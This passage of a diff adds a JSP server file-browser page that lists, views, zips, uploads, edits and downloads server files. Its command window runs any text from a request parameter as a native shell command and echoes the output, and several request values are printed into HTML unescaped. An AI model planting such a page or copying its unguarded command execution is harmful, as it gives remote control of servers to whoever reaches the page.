+ copyStreamsWithoutClose(in, out, buffer);
584
+ in.close();
585
+ out.close();
586
+ }
587
+
588
+ /**
589
+ * Copies all data from in to out
590
+ * @param in the input stream
591
+ * @param out the output stream
592
+ * @param buffer copy buffer
593
+ */
594
+ static void copyStreamsWithoutClose(InputStream in, OutputStream out, byte[] buffer)
595
+ throws IOException {
596
+ int b;
597
+ while ((b = in.read(buffer)) != -1)
598
+ out.write(buffer, 0, b);
599
+ }
600
+
601
+ /**
602
+ * Returns the Mime Type of the file, depending on the extension of the filename
603
+ */
604
+ static String getMimeType(String fName) {
605
+ fName = fName.toLowerCase();
606
+ if (fName.endsWith(".jpg") || fName.endsWith(".jpeg") || fName.endsWith(".jpe")) return "image/jpeg";
607
+ else if (fName.endsWith(".gif")) return "image/gif";
608
+ else if (fName.endsWith(".pdf")) return "application/pdf";
609
+ else if (fName.endsWith(".htm") || fName.endsWith(".html") || fName.endsWith(".shtml")) return "text/html";
610
+ else if (fName.endsWith(".avi")) return "video/x-msvideo";
611
+ else if (fName.endsWith(".mov") || fName.endsWith(".qt")) return "video/quicktime";
612
+ else if (fName.endsWith(".mpg") || fName.endsWith(".mpeg") || fName.endsWith(".mpe")) return "video/mpeg";
613
+ else if (fName.endsWith(".zip")) return "application/zip";
614
+ else if (fName.endsWith(".tiff") || fName.endsWith(".tif")) return "image/tiff";
615
+ else if (fName.endsWith(".rtf")) return "application/rtf";
616
+ else if (fName.endsWith(".mid") || fName.endsWith(".midi")) return "audio/x-midi";
617
+ else if (fName.endsWith(".xl") || fName.endsWith(".xls") || fName.endsWith(".xlv")
618
+ || fName.endsWith(".xla") || fName.endsWith(".xlb") || fName.endsWith(".xlt")
619
+ || fName.endsWith(".xlm") || fName.endsWith(".xlk")) return "application/excel";
620
+ else if (fName.endsWith(".doc") || fName.endsWith(".dot")) return "application/msword";
621
+ else if (fName.endsWith(".png")) return "image/png";
622
+ else if (fName.endsWith(".xml")) return "text/xml";
623
+ else if (fName.endsWith(".svg")) return "image/svg+xml";
624
+ else if (fName.endsWith(".mp3")) return "audio/mp3";
625
+ else if (fName.endsWith(".ogg")) return "audio/ogg";
626
+ else return "text/plain";
627
+ }
628
+
629
+ /**
630
+ * Converts some important chars (int) to the corresponding html string
631
+ */
632
+ static String conv2Html(int i) {
633
+ if (i == '&') return "&amp;";
634
+ else if (i == '<') return "&lt;";
635
+ else if (i == '>') return "&gt;";
636
+ else if (i == '"') return "&quot;";
637
+ else return "" + (char) i;
638
+ }
639
+
640
+ /**
641
+ * Converts a normal string to a html conform string
642
+ */
643
+ static String conv2Html(String st) {
644
+ StringBuffer buf = new StringBuffer();
645
+ for (int i = 0; i < st.length(); i++) {
646
+ buf.append(conv2Html(st.charAt(i)));
647
+ }
648
+ return buf.toString();
649
+ }
650
+
651
+ /**
652
+ * Starts a native process on the server
653
+ * @param command the command to start the process
654
+ * @param dir the dir in which the process starts
655
+ */
656
+ static String startProcess(String command, String dir) throws IOException {
657
+ StringBuffer ret = new StringBuffer();
658
+ String[] comm = new String[3];
659
+ comm[0] = COMMAND_INTERPRETER[0];
660
+ comm[1] = COMMAND_INTERPRETER[1];
661
+ comm[2] = command;
662
+ long start = System.currentTimeMillis();
663
+ try {
664
+ //Start process
665
+ Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));
666
+ //Get input and error streams
667
+ BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream());
668
+ BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream());
669
+ boolean end = false;
670
+ while (!end) {
671
+ int c = 0;
672
+ while ((ls_err.available() > 0) && (++c <= 1000)) {
673
+ ret.append(conv2Html(ls_err.read()));
674
+ }
675
+ c = 0;
676
+ while ((ls_in.available() > 0) && (++c <= 1000)) {
677
+ ret.append(conv2Html(ls_in.read()));
678
+ }
679
+ try {
680
+ ls_proc.exitValue();
681
+ //if the process has not finished, an exception is thrown
682
+ //else
683
+ while (ls_err.available() > 0)
684
+ ret.append(conv2Html(ls_err.read()));
685
+ while (ls_in.available() > 0)
686
+ ret.append(conv2Html(ls_in.read()));
687
+ end = true;
688
+ }
689
+ catch (IllegalThreadStateException ex) {
690
+ //Process is running
691
+ }
692
+ //The process is not allowed to run longer than given time.
693
+ if (System.currentTimeMillis() - start > MAX_PROCESS_RUNNING_TIME) {
694
+ ls_proc.destroy();
695
+ end = true;
696
+ ret.append("!!!! Process has timed out, destroyed !!!!!");
697
+ }
698
+ try {
699
+ Thread.sleep(50);
700
+ }
701
+ catch (InterruptedException ie) {}
702
+ }
703
+ }
704
+ catch (IOException e) {
705
+ ret.append("Error: " + e);
706
+ }
707
+ return ret.toString();
708
+ }
709
+
710
+ /**
711
+ * Converts a dir string to a linked dir string
712
+ * @param dir the directory string (e.g. /usr/local/httpd)
713
+ * @param browserLink web-path to Browser.jsp
714
+ */
715
+ static String dir2linkdir(String dir, String browserLink, int sortMode) {
716
+ File f = new File(dir);
717
+ StringBuffer buf = new StringBuffer();
718
+ while (f.getParentFile() != null) {
719
+ if (f.canRead()) {
720
+ String encPath = URLEncoder.encode(f.getAbsolutePath());
721
+ buf.insert(0, "<a href=\"" + browserLink + "?sort=" + sortMode + "&amp;dir="
722
+ + encPath + "\">" + conv2Html(f.getName()) + File.separator + "</a>");
723
+ }
724
+ else buf.insert(0, conv2Html(f.getName()) + File.separator);
725
+ f = f.getParentFile();
726
+ }
727
+ if (f.canRead()) {
728
+ String encPath = URLEncoder.encode(f.getAbsolutePath());
729
+ buf.insert(0, "<a href=\"" + browserLink + "?sort=" + sortMode + "&amp;dir=" + encPath
730
+ + "\">" + conv2Html(f.getAbsolutePath()) + "</a>");
731
+ }
732
+ else buf.insert(0, f.getAbsolutePath());
733
+ return buf.toString();
734
+ }
735
+
736
+ /**
737
+ * Returns true if the given filename tends towards a packed file
738
+ */
739
+ static boolean isPacked(String name, boolean gz) {
740
+ return (name.toLowerCase().endsWith(".zip") || name.toLowerCase().endsWith(".jar")
741
+ || (gz && name.toLowerCase().endsWith(".gz")) || name.toLowerCase()
742
+ .endsWith(".war"));
743
+ }
744
+
745
+ /**
746
+ * If RESTRICT_BROWSING = true this method checks, whether the path is allowed or not
747
+ */
748
+ static boolean isAllowed(File path, boolean write) throws IOException{
749
+ if (READ_ONLY && write) return false;
750
+ if (RESTRICT_BROWSING) {
751
+ StringTokenizer stk = new StringTokenizer(RESTRICT_PATH, ";");
752
+ while (stk.hasMoreTokens()){
753
+ if (path!=null && path.getCanonicalPath().startsWith(stk.nextToken()))
754
+ return RESTRICT_WHITELIST;
755
+ }
756
+ return !RESTRICT_WHITELIST;
757
+ }
758
+ else return true;
759
+ }
760
+
761
+ //---------------------------------------------------------------------------------------------------------------
762
+
763
+ %>
764
+ <%
765
+ //Get the current browsing directory
766
+ request.setAttribute("dir", request.getParameter("dir"));
767
+ // The browser_name variable is used to keep track of the URI
768
+ // of the jsp file itself. It is used in all link-backs.
769
+ final String browser_name = request.getRequestURI();
770
+ final String FOL_IMG = "";
771
+ boolean nohtml = false;
772
+ boolean dir_view = true;
773
+ //Get Javascript
774
+ if (request.getParameter("Javascript") != null) {
775
+ dir_view = false;
776
+ nohtml = true;
777
+ //Tell the browser that it should cache the javascript
778
+ response.setHeader("Cache-Control", "public");
779
+ Date now = new Date();
780
+ SimpleDateFormat sdf = new SimpleDateFormat("EEE, d MMM yyyy HH:mm:ss z", Locale.US);
781
+ response.setHeader("Expires", sdf.format(new Date(now.getTime() + 1000 * 60 * 60 * 24*2)));
782
+ response.setHeader("Content-Type", "text/javascript");
783
+ %>
784
+ <%// This section contains the Javascript used for interface elements %>
785
+ var check = false;
786
+ <%// Disables the checkbox feature %>
787
+ function dis(){check = true;}
788
+
789
+ var DOM = 0, MS = 0, OP = 0, b = 0;
790
+ <%// Determine the browser type %>
791
+ function CheckBrowser(){
792
+ if (b == 0){
793
+ if (window.opera) OP = 1;
794
+ // Moz or Netscape
795
+ if(document.getElementById) DOM = 1;
796
+ // Micro$oft
797
+ if(document.all && !OP) MS = 1;
798
+ b = 1;
799
+ }
800
+ }
801
+ <%// Allows the whole row to be selected %>
802
+ function selrow (element, i){
803
+ var erst;
804
+ CheckBrowser();
805
+ if ((OP==1)||(MS==1)) erst = element.firstChild.firstChild;
806
+ else if (DOM==1) erst = element.firstChild.nextSibling.firstChild;
807
+ <%// MouseIn %>
808
+ if (i==0){
809
+ if (erst.checked == true) element.className='mousechecked';
810
+ else element.className='mousein';
811
+ }
812
+ <%// MouseOut %>
813
+ else if (i==1){
814
+ if (erst.checked == true) element.className='checked';
815
+ else element.className='mouseout';
816
+ }
817
+ <% // MouseClick %>
818
+ else if ((i==2)&&(!check)){
819
+ if (erst.checked==true) element.className='mousein';
820
+ else element.className='mousechecked';
821
+ erst.click();
822
+ }
823
+ else check=false;
824
+ }
825
+ <%// Filter files and dirs in FileList%>
826
+ function filter (begriff){
827
+ var suche = begriff.value.toLowerCase();
828
+ var table = document.getElementById("filetable");
829
+ var ele;
830
+ for (var r = 1; r < table.rows.length; r++){
831
+ ele = table.rows[r].cells[1].innerHTML.replace(/<[^>]+>/g,"");
832
+ if (ele.toLowerCase().indexOf(suche)>=0 )
833
+ table.rows[r].style.display = '';
834
+ else table.rows[r].style.display = 'none';
835
+ }
836
+ }
837
+ <%//(De)select all checkboxes%>
838
+ function AllFiles(){
839
+ for(var x=0;x < document.FileList.elements.length;x++){
840
+ var y = document.FileList.elements[x];
841
+ var ytr = y.parentNode.parentNode;
842
+ var check = document.FileList.selall.checked;
843
+ if(y.name == 'selfile' && ytr.style.display != 'none'){
844
+ if (y.disabled != true){
845
+ y.checked = check;
846
+ if (y.checked == true) ytr.className = 'checked';
847
+ else ytr.className = 'mouseout';
848
+ }
849
+ }
850
+ }
851
+ }
852
+
853
+ function shortKeyHandler(_event){
854
+ if (!_event) _event = window.event;
855
+ if (_event.which) {
856
+ keycode = _event.which;
857
+ } else if (_event.keyCode) {
858
+ keycode = _event.keyCode;
859
+ }
860
+ var t = document.getElementById("text_Dir");
861
+ //z
862
+ if (keycode == 122){
863
+ document.getElementById("but_Zip").click();
864
+ }
865
+ //r, F2
866
+ else if (keycode == 113 || keycode == 114){
867
+ var path = prompt("Please enter new filename", "");
868
+ if (path == null) return;
869
+ t.value = path;
870
+ document.getElementById("but_Ren").click();
871
+ }
872
+ //c
873
+ else if (keycode == 99){
874
+ var path = prompt("Please enter filename", "");
875
+ if (path == null) return;
876
+ t.value = path;
877
+ document.getElementById("but_NFi").click();
878
+ }
879
+ //d
880
+ else if (keycode == 100){
881
+ var path = prompt("Please enter directory name", "");
882
+ if (path == null) return;
883
+ t.value = path;
884
+ document.getElementById("but_NDi").click();
885
+ }
886
+ //m
887
+ else if (keycode == 109){
888
+ var path = prompt("Please enter move destination", "");
889
+ if (path == null) return;
890
+ t.value = path;
891
+ document.getElementById("but_Mov").click();
892
+ }
893
+ //y
894
+ else if (keycode == 121){
895
+ var path = prompt("Please enter copy destination", "");
896
+ if (path == null) return;
897
+ t.value = path;
898
+ document.getElementById("but_Cop").click();
899
+ }
900
+ //l
901
+ else if (keycode == 108){
902
+ document.getElementById("but_Lau").click();
903
+ }
904
+ //Del
905
+ else if (keycode == 46){
906
+ document.getElementById("but_Del").click();
907
+ }
908
+ }
909
+
910
+ function popUp(URL){
911
+ fname = document.getElementsByName("myFile")[0].value;
912
+ if (fname != "")
913
+ window.open(URL+"?first&uplMonitor="+encodeURIComponent(fname),"","width=400,height=150,resizable=yes,depend=yes")
914
+ }
915
+
916
+ document.onkeypress = shortKeyHandler;
917
+ <% }
918
+ // View file
919
+ else if (request.getParameter("file") != null) {
920
+ File f = new File(request.getParameter("file"));
921
+ if (!isAllowed(f, false)) {
922
+ request.setAttribute("dir", f.getParent());
923
+ request.setAttribute("error", "You are not allowed to access "+f.getAbsolutePath());
924
+ }
925
+ else if (f.exists() && f.canRead()) {
926
+ if (isPacked(f.getName(), false)) {
927
+ //If zipFile, do nothing here
928
+ }
929
+ else{
930
+ String mimeType = getMimeType(f.getName());
931
+ response.setContentType(mimeType);
932
+ if (mimeType.equals("text/plain")) response.setHeader(
933
+ "Content-Disposition", "inline;filename=\"temp.txt\"");
934
+ else response.setHeader("Content-Disposition", "inline;filename=\""
935
+ + f.getName() + "\"");
936
+ BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));
937
+ byte buffer[] = new byte[8 * 1024];
938
+ out.clearBuffer();
939
+ OutputStream out_s = new Writer2Stream(out);
940
+ copyStreamsWithoutClose(fileInput, out_s, buffer);
941
+ fileInput.close();
942
+ out_s.flush();
943
+ nohtml = true;
944
+ dir_view = false;
945
+ }
946
+ }
947
+ else {
948
+ request.setAttribute("dir", f.getParent());
949
+ request.setAttribute("error", "File " + f.getAbsolutePath()
950
+ + " does not exist or is not readable on the server");
951
+ }
952
+ }
953
+ // Download selected files as zip file
954
+ else if ((request.getParameter("Submit") != null)
955
+ && (request.getParameter("Submit").equals(SAVE_AS_ZIP))) {
956
+ Vector v = expandFileList(request.getParameterValues("selfile"), false);
957
+ //Check if all files in vector are allowed
958
+ String notAllowedFile = null;
959
+ for (int i = 0;i < v.size(); i++){
960
+ File f = (File) v.get(i);
961
+ if (!isAllowed(f, false)){
962
+ notAllowedFile = f.getAbsolutePath();
963
+ break;
964
+ }
965
+ }
966
+ if (notAllowedFile != null){
967
+ request.setAttribute("error", "You are not allowed to access " + notAllowedFile);
968
+ }
969
+ else if (v.size() == 0) {
970
+ request.setAttribute("error", "No files selected");
971
+ }
972
+ else {
973
+ File dir_file = new File("" + request.getAttribute("dir"));
974
+ int dir_l = dir_file.getAbsolutePath().length();
975
+ response.setContentType("application/zip");
976
+ response.setHeader("Content-Disposition", "attachment;filename=\"rename_me.zip\"");
977
+ out.clearBuffer();
978
+ ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out));
979
+ zipout.setComment("Created by jsp File Browser v. " + VERSION_NR);
980
+ zipout.setLevel(COMPRESSION_LEVEL);
981
+ for (int i = 0; i < v.size(); i++) {
982
+ File f = (File) v.get(i);
983
+ if (f.canRead()) {
984
+ zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l + 1)));
985
+ BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f));
986
+ byte buffer[] = new byte[0xffff];
987
+ copyStreamsWithoutClose(fr, zipout, buffer);
988
+ /* int b;
989
+ while ((b=fr.read())!=-1) zipout.write(b);*/
990
+ fr.close();
991
+ zipout.closeEntry();
992
+ }
993
+ }
994
+ zipout.finish();
995
+ out.flush();
996
+ nohtml = true;
997
+ dir_view = false;
998
+ }
999
+ }
1000
+ // Download file
1001
+ else if (request.getParameter("downfile") != null) {
1002
+ String filePath = request.getParameter("downfile");
1003
+ File f = new File(filePath);
1004
+ if (!isAllowed(f, false)){
1005
+ request.setAttribute("dir", f.getParent());
1006
+ request.setAttribute("error", "You are not allowed to access " + f.getAbsoluteFile());
1007
+ }
1008
+ else if (f.exists() && f.canRead()) {
1009
+ response.setContentType("application/octet-stream");
1010
+ response.setHeader("Content-Disposition", "attachment;filename=\"" + f.getName()
1011
+ + "\"");
1012
+ response.setContentLength((int) f.length());
1013
+ BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));
1014
+ byte buffer[] = new byte[8 * 1024];
1015
+ out.clearBuffer();
1016
+ OutputStream out_s = new Writer2Stream(out);
1017
+ copyStreamsWithoutClose(fileInput, out_s, buffer);
1018
+ fileInput.close();
1019
+ out_s.flush();
1020
+ nohtml = true;
1021
+ dir_view = false;
1022
+ }
1023
+ else {
1024
+ request.setAttribute("dir", f.getParent());
1025
+ request.setAttribute("error", "File " + f.getAbsolutePath()
1026
+ + " does not exist or is not readable on the server");
1027
+ }
1028
+ }
1029
+ if (nohtml) return;
1030
+ //else
1031
+ // If no parameter is submitted, it will take the path from jsp file browser
1032
+ if (request.getAttribute("dir") == null) {
1033
+ String path = null;
1034
+ if (application.getRealPath(request.getRequestURI()) != null) {
1035
+ File f = new File(application.getRealPath(request.getRequestURI())).getParentFile();
1036
+ //This is a hack needed for tomcat
1037
+ while (f != null && !f.exists())
1038
+ f = f.getParentFile();
1039
+ if (f != null)
1040
+ path = f.getAbsolutePath();
1041
+ }
1042
+ if (path == null) { // handle the case where we are not in a directory (ex: war file)
1043
+ path = new File(".").getAbsolutePath();
1044
+ }
1045
+ //Check path
1046
+ if (!isAllowed(new File(path), false)){
1047
+ //TODO Blacklist
1048
+ if (RESTRICT_PATH.indexOf(";")<0) path = RESTRICT_PATH;
1049
+ else path = RESTRICT_PATH.substring(0, RESTRICT_PATH.indexOf(";"));
1050
+ }
1051
+ request.setAttribute("dir", path);
1052
+ }%>
1053
+ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
1054
+ "http://www.w3.org/TR/html4/loose.dtd">
1055
+ <html>
1056
+ <head>
1057
+ <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
1058
+ <meta name="robots" content="noindex">
1059
+ <meta http-equiv="expires" content="0">
1060
+ <meta http-equiv="pragma" content="no-cache">
1061
+ <%
1062
+ //If a cssfile exists, it will take it
1063
+ String cssPath = null;
1064
+ if (application.getRealPath(request.getRequestURI()) != null) cssPath = new File(
1065
+ application.getRealPath(request.getRequestURI())).getParent()
1066
+ + File.separator + CSS_NAME;
1067
+ if (cssPath == null) cssPath = application.getResource(CSS_NAME).toString();
1068
+ if (new File(cssPath).exists()) {
1069
+ %>
1070
+ <link rel="stylesheet" type="text/css" href="<%=CSS_NAME%>">
1071
+ <%}
1072
+ else if (request.getParameter("uplMonitor") == null) {%>
1073
+ <style type="text/css">
1074
+ input.button {background-color: #c0c0c0; color: #666666;
1075
+ border: 1px solid #999999; margin: 5px 1px 5px 1px;}
1076
+ input.textfield {margin: 5px 1px 5px 1px;}
1077
+ input.button:Hover { color: #444444 }
1078
+ table.filelist {background-color:#666666; width:100%; border:0px none #ffffff}
1079
+ .formular {margin: 1px; background-color:#ffffff; padding: 1em; border:1px solid #000000;}
1080
+ .formular2 {margin: 1px;}
1081
+ th { background-color:#c0c0c0 }
1082
+ tr.mouseout { background-color:#ffffff; }
1083
+ tr.mousein { background-color:#eeeeee; }
1084
+ tr.checked { background-color:#cccccc }
1085
+ tr.mousechecked { background-color:#c0c0c0 }
1086
+ td { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
1087
+ td.message { background-color: #FFFF00; color: #000000; text-align:center; font-weight:bold}
1088
+ td.error { background-color: #FF0000; color: #000000; text-align:center; font-weight:bold}
1089
+ A { text-decoration: none; }
1090
+ A:Hover { color : Red; text-decoration : underline; }
1091
+ BODY { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
1092
+ </style>
1093
+ <%}
1094
+
1095
+ //Check path
1096
+ if (!isAllowed(new File((String)request.getAttribute("dir")), false)){
1097
+ request.setAttribute("error", "You are not allowed to access " + request.getAttribute("dir"));
1098
+ }
1099
+ //Upload monitor
1100
+ else if (request.getParameter("uplMonitor") != null) {%>
1101
+ <style type="text/css">
1102
+ BODY { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
1103
+ </style><%
1104
+ String fname = request.getParameter("uplMonitor");
1105
+ //First opening
1106
+ boolean first = false;
1107
+ if (request.getParameter("first") != null) first = true;
1108
+ UplInfo info = new UplInfo();
1109
+ if (!first) {
1110
+ info = UploadMonitor.getInfo(fname);
1111
+ if (info == null) {
1112
+ //Windows
1113
+ int posi = fname.lastIndexOf("\\");
1114
+ if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1));
1115
+ }
1116
+ if (info == null) {
1117
+ //Unix
1118
+ int posi = fname.lastIndexOf("/");
1119
+ if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1));
1120
+ }
1121
+ }
1122
+ dir_view = false;
1123
+ request.setAttribute("dir", null);
1124
+ if (info.aborted) {
1125
+ UploadMonitor.remove(fname);
1126
+ %>
1127
+ </head>
1128
+ <body>
1129
+ <b>Upload of <%=fname%></b><br><br>
1130
+ Upload aborted.</body>
1131
+ </html><%
1132
+ }
1133
+ else if (info.totalSize != info.currSize || info.currSize == 0) {
1134
+ %>
1135
+ <META HTTP-EQUIV="Refresh" CONTENT="<%=UPLOAD_MONITOR_REFRESH%>;URL=<%=browser_name %>?uplMonitor=<%=URLEncoder.encode(fname)%>">
1136
+ </head>
1137
+ <body>
1138
+ <b>Upload of <%=fname%></b><br><br>
1139
+ <center>
1140
+ <table height="20px" width="90%" bgcolor="#eeeeee" style="border:1px solid #cccccc"><tr>
1141
+ <td bgcolor="blue" width="<%=info.getPercent()%>%"></td><td width="<%=100-info.getPercent()%>%"></td>
1142
+ </tr></table></center>
1143
+ <%=convertFileSize(info.currSize)%> from <%=convertFileSize(info.totalSize)%>
1144
+ (<%=info.getPercent()%> %) uploaded (Speed: <%=info.getUprate()%>).<br>
1145
+ Time: <%=info.getTimeElapsed()%> from <%=info.getTimeEstimated()%>
1146
+ </body>
1147
+ </html><%
1148
+ }
1149
+ else {
1150
+ UploadMonitor.remove(fname);
1151
+ %>
1152
+ </head>
1153
+ <body onload="javascript:window.close()">
1154
+ <b>Upload of <%=fname%></b><br><br>
1155
+ Upload finished.
1156
+ </body>
1157
+ </html><%
1158
+ }
1159
+ }
1160
+ //Comandwindow
1161
+ else if (request.getParameter("command") != null) {
1162
+ if (!NATIVE_COMMANDS){
1163
+ request.setAttribute("error", "Execution of native commands is not allowed!");
1164
+ }
1165
+ else if (!"Cancel".equalsIgnoreCase(request.getParameter("Submit"))) {
1166
+ %>
1167
+ <title>Launch commands in <%=request.getAttribute("dir")%></title>
1168
+ </head>
1169
+ <body><center>
1170
+ <h2><%=LAUNCH_COMMAND %></h2><br />
1171
+ <%
1172
+ out.println("<form action=\"" + browser_name + "\" method=\"Post\">\n"
1173
+ + "<textarea name=\"text\" wrap=\"off\" cols=\"" + EDITFIELD_COLS
1174
+ + "\" rows=\"" + EDITFIELD_ROWS + "\" readonly>");
1175
+ String ret = "";
1176
+ if (!request.getParameter("command").equalsIgnoreCase(""))
1177
+ ret = startProcess(
1178
+ request.getParameter("command"), (String) request.getAttribute("dir"));
1179
+ out.println(ret);
1180
+ %></textarea>
1181
+ <input type="hidden" name="dir" value="<%= request.getAttribute("dir")%>">
1182
+ <br /><br />
1183
+ <table class="formular">
1184
+ <tr><td title="Enter your command">
1185
+ Command: <input size="<%=EDITFIELD_COLS-5%>" type="text" name="command" value="">
1186
+ </td></tr>
1187
+ <tr><td><input class="button" type="Submit" name="Submit" value="Launch">
1188
+ <input type="hidden" name="sort" value="<%=request.getParameter("sort")%>">
1189
+ <input type="Submit" class="button" name="Submit" value="Cancel"></td></tr>
1190
+ </table>
1191
+ </form>
1192
+ <br />
1193
+ <hr>
1194
+ <center>
1195
+ <small>jsp File Browser version <%= VERSION_NR%> by <a href="http://www.vonloesch.de">www.vonloesch.de</a></small>
1196
+ </center>
1197
+ </center>
1198
+ </body>
1199
+ </html>
1200
+ <%
1201
+ dir_view = false;
1202
+ request.setAttribute("dir", null);
1203
+ }
1204
+ }
1205
+
1206
+ //Click on a filename, special viewer (zip+jar file)
1207
+ else if (request.getParameter("file") != null) {
1208
+ File f = new File(request.getParameter("file"));
1209
+ if (!isAllowed(f, false)){
1210
+ request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
1211
+ }
1212
+ else if (isPacked(f.getName(), false)) {
1213
+ //ZipFile
1214
+ try {
1215
+ ZipFile zf = new ZipFile(f);
1216
+ Enumeration entries = zf.entries();
1217
+ %>
1218
+ <title><%= f.getAbsolutePath()%></title>
1219
+ </head>
1220
+ <body>
1221
+ <h2>Content of <%=conv2Html(f.getName())%></h2><br />
1222
+ <table class="filelist" cellspacing="1px" cellpadding="0px">
1223
+ <th>Name</th><th>Uncompressed size</th><th>Compressed size</th><th>Compr. ratio</th><th>Date</th>
1224
+ <%
1225
+ long size = 0;
1226
+ int fileCount = 0;
1227
+ while (entries.hasMoreElements()) {
1228
+ ZipEntry entry = (ZipEntry) entries.nextElement();
1229
+ if (!entry.isDirectory()) {
1230
+ fileCount++;
1231
+ size += entry.getSize();
1232
+ long ratio = 0;
1233
+ if (entry.getSize() != 0) ratio = (entry.getCompressedSize() * 100)
1234
+ / entry.getSize();
1235
+ out.println("<tr class=\"mouseout\"><td>" + conv2Html(entry.getName())
1236
+ + "</td><td>" + convertFileSize(entry.getSize()) + "</td><td>"
1237
+ + convertFileSize(entry.getCompressedSize()) + "</td><td>"
1238
+ + ratio + "%" + "</td><td>"
1239
+ + dateFormat.format(new Date(entry.getTime())) + "</td></tr>");
1240
+
1241
+ }
1242
+ }
1243
+ zf.close();
1244
+ //No directory view
1245
+ dir_view = false;
1246
+ request.setAttribute("dir", null);
1247
+ %>
1248
+ </table>
1249
+ <p align=center>
1250
+ <b><%=convertFileSize(size)%> in <%=fileCount%> files in <%=f.getName()%>. Compression ratio: <%=(f.length() * 100) / size%>%
1251
+ </b></p>
1252
+ </body></html>
1253
+ <%
1254
+ }
1255
+ catch (ZipException ex) {
1256
+ request.setAttribute("error", "Cannot read " + f.getName()
1257
+ + ", no valid zip file");
1258
+ }
1259
+ catch (IOException ex) {
1260
+ request.setAttribute("error", "Reading of " + f.getName() + " aborted. Error: "
1261
+ + ex);
1262
+ }
1263
+ }
1264
+ }
1265
+ // Upload
1266
+ else if ((request.getContentType() != null)
1267
+ && (request.getContentType().toLowerCase().startsWith("multipart"))) {
1268
+ if (!ALLOW_UPLOAD){
1269
+ request.setAttribute("error", "Upload is forbidden!");
1270
+ }
1271
+ response.setContentType("text/html");
1272
+ HttpMultiPartParser parser = new HttpMultiPartParser();
1273
+ boolean error = false;
1274
+ try {
1275
+ int bstart = request.getContentType().lastIndexOf("oundary=");
1276
+ String bound = request.getContentType().substring(bstart + 8);
1277
+ int clength = request.getContentLength();
1278
+ Hashtable ht = parser
1279
+ .processData(request.getInputStream(), bound, tempdir, clength);
1280
+ if (!isAllowed(new File((String)ht.get("dir")), false)){
1281
+ //This is a hack, cos we are writing to this directory
1282
+ request.setAttribute("error", "You are not allowed to access " + ht.get("dir"));
1283
+ error = true;
1284
+ }
1285
+ else if (ht.get("myFile") != null) {
1286
+ FileInfo fi = (FileInfo) ht.get("myFile");
1287
+ File f = fi.file;
1288
+ UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
1289
+ if (info != null && info.aborted) {
1290
+ f.delete();
1291
+ request.setAttribute("error", "Upload aborted");
1292
+ }
1293
+ else {
1294
+ // Move file from temp to the right dir
1295
+ String path = (String) ht.get("dir");
1296
+ if (!path.endsWith(File.separator)) path = path + File.separator;
1297
+ if (!f.renameTo(new File(path + f.getName()))) {
1298
+ request.setAttribute("error", "Cannot upload file.");
1299
+ error = true;
1300
+ f.delete();
1301
+ }
1302
+ }
1303
+ }
1304
+ else {
1305
+ request.setAttribute("error", "No file selected for upload");
1306
+ error = true;
1307
+ }
1308
+ request.setAttribute("dir", (String) ht.get("dir"));
1309
+ }
1310
+ catch (Exception e) {
1311
+ request.setAttribute("error", "Error " + e + ". Upload aborted");
1312
+ error = true;
1313
+ }
1314
+ if (!error) request.setAttribute("message", "File upload correctly finished.");
1315
+ }
1316
+ // The form to edit a text file
1317
+ else if (request.getParameter("editfile") != null) {
1318
+ File ef = new File(request.getParameter("editfile"));
1319
+ if (!isAllowed(ef, true)){
1320
+ request.setAttribute("error", "You are not allowed to access " + ef.getAbsolutePath());
1321
+ }
1322
+ else{
1323
+ %>
1324
+ <title>Edit <%=conv2Html(request.getParameter("editfile"))%></title>
1325
+ </head>
1326
+ <body>
1327
+ <center>
1328
+ <h2>Edit <%=conv2Html(request.getParameter("editfile"))%></h2><br />
1329
+ <%
1330
+ BufferedReader reader = new BufferedReader(new FileReader(ef));
1331
+ String disable = "";
1332
+ if (!ef.canWrite()) disable = " readonly";
1333
+ out.println("<form action=\"" + browser_name + "\" method=\"Post\">\n"
1334
+ + "<textarea name=\"text\" wrap=\"off\" cols=\"" + EDITFIELD_COLS
1335
+ + "\" rows=\"" + EDITFIELD_ROWS + "\"" + disable + ">");
1336
+ String c;
1337
+ // Write out the file and check if it is a win or unix file
1338
+ int i;
1339
+ boolean dos = false;
1340
+ boolean cr = false;
1341
+ while ((i = reader.read()) >= 0) {
1342
+ out.print(conv2Html(i));
1343
+ if (i == '\r') cr = true;
1344
+ else if (cr && (i == '\n')) dos = true;
1345
+ else cr = false;
1346
+ }
1347
+ reader.close();
1348
+ //No File directory is shown
1349
+ request.setAttribute("dir", null);
1350
+ dir_view = false;
1351
+
1352
+ %></textarea><br /><br />
1353
+ <table class="formular">
1354
+ <input type="hidden" name="nfile" value="<%= request.getParameter("editfile")%>">
1355
+ <input type="hidden" name="sort" value="<%=request.getParameter("sort")%>">
1356
+ <tr><td colspan="2"><input type="radio" name="lineformat" value="dos" <%= dos?"checked":""%>>Ms-Dos/Windows
1357
+ <input type="radio" name="lineformat" value="unix" <%= dos?"":"checked"%>>Unix
1358
+ <input type="checkbox" name="Backup" checked>Write backup</td></tr>
1359
+ <tr><td title="Enter the new filename"><input type="text" name="new_name" value="<%=ef.getName()%>">
1360
+ <input type="Submit" name="Submit" value="Save"></td>
1361
+ </form>
1362
+ <form action="<%=browser_name%>" method="Post">
1363
+ <td align="left">
1364
+ <input type="Submit" name="Submit" value="Cancel">
1365
+ <input type="hidden" name="nfile" value="<%= request.getParameter("editfile")%>">
1366
+ <input type="hidden" name="sort" value="<%=request.getParameter("sort")%>">
1367
+ </td>
1368
+ </form>
1369
+ </tr>
1370
+ </table>
1371
+ </center>
1372
+ <br />
1373
+ <hr>
1374
